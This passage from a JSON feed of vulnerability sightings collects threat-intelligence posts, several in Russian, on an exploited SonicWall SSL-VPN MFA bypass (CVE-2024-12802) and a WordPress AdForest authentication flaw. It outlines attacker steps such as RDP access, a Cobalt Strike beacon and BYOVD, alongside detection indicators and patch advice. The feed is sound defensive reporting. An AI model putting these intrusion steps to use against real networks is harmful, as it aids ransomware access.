\u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e \u0432 \u0441\u0440\u043e\u0447\u043d\u043e\u043c \u043f\u043e\u0440\u044f\u0434\u043a\u0435 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 2.8.2.\n\n#blue_team #WordPress", "creation_timestamp": "2026-08-05T00:00:07.121438Z"}, {"uuid": "11affdd2-8ed2-4d7b-a014-28abe18b62e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12802", "type": "seen", "source": "https://infosec.exchange/ap/users/116025545744531578/statuses/116612467967333188", "content": "\ud83d\udd34 SonicWall Gen6 SSL-VPN MFA bypass is being exploited through CVE-2024-12802 after incomplete LDAP remediation, with ransomware tooling observed.\n\ud83d\udd34 Microsoft Defender CVE-2026-41091 and CVE-2026-45498 are now in CISA KEV after confirmed exploitation.\nCheck VPN auth logs and verify Defender platform and engine versions.solomonneas.dev/intel\n#CyberSecurity #ThreatIntel #CISA #VPN", "creation_timestamp": "2026-05-21T15:18:46.803247Z"}, {"uuid": "bbca3119-429f-4fa8-b410-3ffb27c2441c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12802", "type": "seen", "source": "https://t.me/true_secator/8229", "content": "\u0425\u0430\u043a\u0435\u0440\u044b \u043e\u0431\u0445\u043e\u0434\u044f\u0442 MFA \u0432 VPN SonicWall \u0438\u0437-\u0437\u0430 \u043d\u0435\u043f\u043e\u043b\u043d\u043e\u0433\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u041f\u041e.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u0431\u0440\u0443\u0442\u0438\u043b\u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 VPN \u0438 \u043e\u0431\u043e\u0448\u043b\u0438 \u043c\u043d\u043e\u0433\u043e\u0444\u0430\u043a\u0442\u043e\u0440\u043d\u0443\u044e \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e (MFA) \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 SonicWall Gen6 SSL-VPN, \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0435 \u0434\u043b\u044f \u0430\u0442\u0430\u043a \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c-\u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0435\u0439.\n\n\u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0445\u0430\u043a\u0435\u0440\u0443 \u043f\u043e\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043b\u043e\u0441\u044c \u043e\u0442 30 \u0434\u043e 60 \u043c\u0438\u043d\u0443\u0442, \u0447\u0442\u043e\u0431\u044b \u0432\u043e\u0439\u0442\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0443, \u043f\u0440\u043e\u0432\u0435\u0441\u0442\u0438 \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0443 \u0441\u0435\u0442\u0438, \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0432\u043e \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0438 \u0432\u044b\u0439\u0442\u0438.\n\n\u0412 \u0441\u0432\u043e\u0435\u043c \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0438, \u043f\u043e\u0441\u0432\u044f\u0449\u0435\u043d\u043d\u043e\u043c CVE-2024-12802, SonicWall \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b\u0430, \u0447\u0442\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 Gen6 \u043d\u0435 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u0435\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0440\u0443\u0447\u043d\u0430\u044f \u043f\u0435\u0440\u0435\u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 LDAP-\u0441\u0435\u0440\u0432\u0435\u0440\u0430. \u0412 \u043f\u0440\u043e\u0442\u0438\u0432\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u043e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043e\u0431\u043e\u0439\u0442\u0438 MFA.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 ReliaQuest \u043e\u0442\u0440\u0435\u0430\u0433\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u043d\u0430 \u043c\u043d\u043e\u0433\u043e\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u0435 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u044b \u0432 \u043f\u0435\u0440\u0438\u043e\u0434 \u0441 \u0444\u0435\u0432\u0440\u0430\u043b\u044f \u043f\u043e \u043c\u0430\u0440\u0442 \u0438 \u0441 \u0443\u043c\u0435\u0440\u0435\u043d\u043d\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u044c\u044e \u0443\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u043e\u0446\u0435\u043d\u0438\u043b\u0438 \u044d\u0442\u043e \u043a\u0430\u043a \u043f\u0435\u0440\u0432\u0443\u044e \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044e CVE-2024-12802, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u043e\u0439 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 SonicWall \u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0441\u0440\u0435\u0434\u0430\u0445.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0438, \u0447\u0442\u043e \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430, \u043f\u043e-\u0432\u0438\u0434\u0438\u043c\u043e\u043c\u0443, \u0431\u044b\u043b\u0438 \u043f\u0440\u043e\u043f\u0430\u0442\u0447\u0435\u043d\u044b, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043d\u0430 \u043d\u0438\u0445 \u0440\u0430\u0431\u043e\u0442\u0430\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0430, \u043e\u0434\u043d\u0430\u043a\u043e \u043e\u043d\u0438 \u043e\u0441\u0442\u0430\u0432\u0430\u043b\u0438\u0441\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c\u0438, \u0442\u0430\u043a \u043a\u0430\u043a \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0435 \u0448\u0430\u0433\u0438 \u043f\u043e \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u043d\u0435 \u0431\u044b\u043b\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u044b.\n\n\u041d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 Gen7 \u0438 Gen8 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043f\u0440\u043e\u0441\u0442\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0443 \u0434\u043e \u0431\u043e\u043b\u0435\u0435 \u043d\u043e\u0432\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0440\u0438\u0441\u043a \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2024-12802.\n\n\u041a\u0430\u043a \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442 ReliaQuest, \u0447\u0442\u043e \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u043e\u0432 \u0445\u0430\u043a\u0435\u0440 \u043f\u043e\u043b\u0443\u0447\u0438\u043b \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0439 \u0441\u0435\u0442\u0438 \u0438 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u043b\u0441\u044f \u043a \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u043c\u0443 \u0441\u0435\u0440\u0432\u0435\u0440\u0443, \u0432\u0445\u043e\u0434\u044f\u0449\u0435\u043c\u0443 \u0432 \u0434\u043e\u043c\u0435\u043d, \u0432\u0441\u0435\u0433\u043e \u0437\u0430 \u043f\u043e\u043b\u0447\u0430\u0441\u0430. \u0417\u0430\u0442\u0435\u043c \u043e\u043d \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0435 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u043f\u043e \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0443 RDP, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043e\u0431\u0449\u0438\u0439 \u043f\u0430\u0440\u043e\u043b\u044c \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043f\u044b\u0442\u0430\u043b\u0441\u044f \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442\u044c \u043c\u0430\u044f\u043a Cobalt Strike \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0439 \u0434\u0440\u0430\u0439\u0432\u0435\u0440, \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u0434\u043b\u044f \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0445 \u0442\u043e\u0447\u0435\u043a \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043c\u0435\u0442\u043e\u0434\u0430 BYOVD. \u041e\u0434\u043d\u0430\u043a\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u043e\u0435 EDR-\u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043b\u043e \u0430\u0442\u0430\u043a\u0443.\n\n\u0421\u0443\u0434\u044f \u043f\u043e \u043f\u0440\u0435\u0434\u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u043e\u043c\u0443 \u0432\u044b\u0445\u043e\u0434\u0443 \u0438\u0437 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0438 \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e\u043c\u0443 \u0432\u0445\u043e\u0434\u0443 \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0434\u043d\u0435\u0439 (\u0438\u043d\u043e\u0433\u0434\u0430 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0434\u0440\u0443\u0433\u0438\u0445 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439), \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0432\u044b\u0441\u0442\u0443\u043f\u0430\u0435\u0442 \u0432 \u0440\u043e\u043b\u0438 \u043f\u043e\u0441\u0440\u0435\u0434\u043d\u0438\u043a\u0430, \u043f\u0440\u043e\u0434\u0430\u044e\u0449\u0435\u0433\u043e \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u0434\u0440\u0443\u0433\u0438\u043c \u0433\u0440\u0443\u043f\u043f\u0430\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432.\n\n\u0412 \u043f\u0440\u043e\u0448\u043b\u043e\u043c \u0433\u043e\u0434\u0443\u00a0\u0431\u0430\u043d\u0434\u0430 \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0435\u0439 Akira \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u043b\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 SonicWall SSL VPN\u00a0\u0438 \u0441\u043c\u043e\u0433\u043b\u0430 \u043f\u0440\u043e\u043d\u0438\u043a\u043d\u0443\u0442\u044c \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0443, \u043d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u043c\u043d\u043e\u0433\u043e\u0444\u0430\u043a\u0442\u043e\u0440\u043d\u043e\u0439 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 (MFA) \u0432 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u044f\u0445, \u043e\u0434\u043d\u0430\u043a\u043e \u044d\u0442\u043e\u0442 \u043c\u0435\u0442\u043e\u0434 \u043d\u0435 \u0431\u044b\u043b \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d.\n\n\u0423\u043f\u043e\u043c\u044f\u043d\u0443\u0442\u0430\u044f CVE-2024-12802 \u0432\u044b\u0437\u0432\u0430\u043d\u0430 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435\u043c MFA \u0434\u043b\u044f \u0444\u043e\u0440\u043c\u0430\u0442\u0430 \u0432\u0445\u043e\u0434\u0430 UPN, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u043c\u0438 \u0434\u0430\u043d\u043d\u044b\u043c\u0438 \u043f\u0440\u043e\u0439\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e \u0438 \u043e\u0431\u043e\u0439\u0442\u0438 MFA.\n\n\u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0443 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 SonicWall 6-\u0433\u043e \u043f\u043e\u043a\u043e\u043b\u0435\u043d\u0438\u044f \u0434\u043e \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0439 \u0432\u0435\u0440\u0441\u0438\u0438, \u0430 \u0437\u0430\u0442\u0435\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u043f\u043e \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044e \u043d\u0435\u043f\u043e\u043b\u0430\u0434\u043e\u043a, \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0435 \u0432 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f\u0445 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0430.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0441 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u044c\u044e \u0443\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b\u0438, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a, \u0441\u0442\u043e\u044f\u0449\u0438\u0439 \u0437\u0430 \u0432\u0442\u043e\u0440\u0436\u0435\u043d\u0438\u044f\u043c\u0438, \u043f\u043e\u043b\u0443\u0447\u0438\u043b \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f CVE-2024-12802 \u00ab\u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0441\u0435\u043a\u0442\u043e\u0440\u0430\u0445 \u0438 \u0440\u0435\u0433\u0438\u043e\u043d\u0430\u0445\u00bb.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c ReliaQuest, \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u0430 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0443, \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0432 \u0445\u043e\u0434\u0435 \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f, \u0432 \u0436\u0443\u0440\u043d\u0430\u043b\u0430\u0445 \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0430\u043b\u0438\u0441\u044c \u043a\u0430\u043a \u043e\u0431\u044b\u0447\u043d\u044b\u0439 \u043f\u043e\u0442\u043e\u043a MFA, \u0447\u0442\u043e \u0437\u0430\u0441\u0442\u0430\u0432\u043b\u044f\u043b\u043e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u0432 \u043f\u043e \u0437\u0430\u0449\u0438\u0442\u0435 \u043f\u043e\u043b\u0430\u0433\u0430\u0442\u044c, \u0447\u0442\u043e MFA \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b\u0430 \u0434\u0430\u0436\u0435 \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u0441\u0431\u043e\u044f.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442, \u0447\u0442\u043e \u0441\u0438\u0433\u043d\u0430\u043b sess=\u201dCLI\u201d \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043a\u043b\u044e\u0447\u0435\u0432\u044b\u043c \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u043e\u043c \u044d\u0442\u0438\u0445 \u0430\u0442\u0430\u043a, \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0449\u0438\u043c \u043d\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432 \u0438\u043b\u0438 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 VPN, \u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e\u0442 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u043e\u0431\u0440\u0430\u0449\u0430\u0442\u044c \u043d\u0430 \u043d\u0435\u0433\u043e \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435.\n\n\u041a \u0434\u0440\u0443\u0433\u0438\u043c \u0432\u0430\u0436\u043d\u044b\u043c \u0441\u0438\u0433\u043d\u0430\u043b\u0430\u043c \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u0441\u043e\u0431\u044b\u0442\u0438\u0439 238 \u0438 1080, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0432\u0445\u043e\u0434\u044b \u0432 VPN \u0441 \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 VPS/VPN-\u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440.\n\n\u0423\u0447\u0438\u0442\u044b\u0432\u0430\u044f, \u0447\u0442\u043e \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 SSL-VPN \u0448\u0435\u0441\u0442\u043e\u0433\u043e \u043f\u043e\u043a\u043e\u043b\u0435\u043d\u0438\u044f \u0437\u0430\u0432\u0435\u0440\u0448\u0438\u043b\u0430\u0441\u044c 16 \u0430\u043f\u0440\u0435\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0433\u043e\u0434\u0430, \u0438 \u043e\u043d\u0438 \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0435 \u043f\u043e\u043b\u0443\u0447\u0430\u044e\u0442 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043e\u0431\u044b\u0447\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043f\u0435\u0440\u0435\u0439\u0442\u0438 \u043d\u0430 \u0431\u043e\u043b\u0435\u0435 \u043d\u043e\u0432\u044b\u0435, \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u043c\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438.", "creation_timestamp": "2026-05-21T15:33:40.000000Z"}, {"uuid": "5e0263ed-0fad-4886-8852-4c53830f2bc9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12802", "type": "seen", "source": "https://bsky.app/profile/captechgroup.com/post/3mmeusqje5z26", "content": "SonicWall VPN flaw lets attackers bypass MFA completely using stolen credentials in UPN format\u2014Akira ransomware gang is actively exploiting CVE-2024-12802 to broker initial access. #infosec #cybersecurity", "creation_timestamp": "2026-05-21T16:49:18.351182Z"}, {"uuid": "50e4ba11-5a51-4f67-a0c2-7f88781715cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12857", "type": "seen", "source": "https://t.me/purp_sec/190", "content": "\u0421\u043e\u0431\u0440\u0430\u043b \u0432\u0430\u043c \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0441\u0432\u0435\u0436\u0438\u0445 CVE, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435.\n\n\ud83d\udee1CVE-2024-12857 (CVSS 9.8) \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0442\u0435\u043c\u0435 AdForest \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 WordPress. \u041f\u043b\u0430\u0433\u0438\u043d \u043d\u0435 \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442 \u0434\u043e\u043b\u0436\u043d\u0443\u044e \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043b\u0438\u0447\u043d\u043e\u0441\u0442\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043f\u0435\u0440\u0435\u0434 \u0435\u0433\u043e \u0432\u0445\u043e\u0434\u043e\u043c \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0443. \u041d\u0435 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0438\u0435 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u043e\u0439\u0442\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u043f\u043e\u0434 \u043b\u044e\u0431\u044b\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c \u0441 \u043b\u044e\u0431\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0431\u0435\u0437 \u0432\u0432\u043e\u0434\u0430 \u043f\u0430\u0440\u043e\u043b\u044f (\u043f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u041e\u0422\u0420 \u043f\u043e \u043d\u043e\u043c\u0435\u0440\u0443 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0430), \u0430 \u043f\u043e\u0441\u043b\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0441\u0430\u0439\u0442\u043e\u043c.\n\n\ud83d\udee1CVE-2025-20156 (CVSS 9.9) \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Cisco Meeting Management, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0441 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043d\u043e\u0439 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u044c\u044e \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0430\u0432\u0430 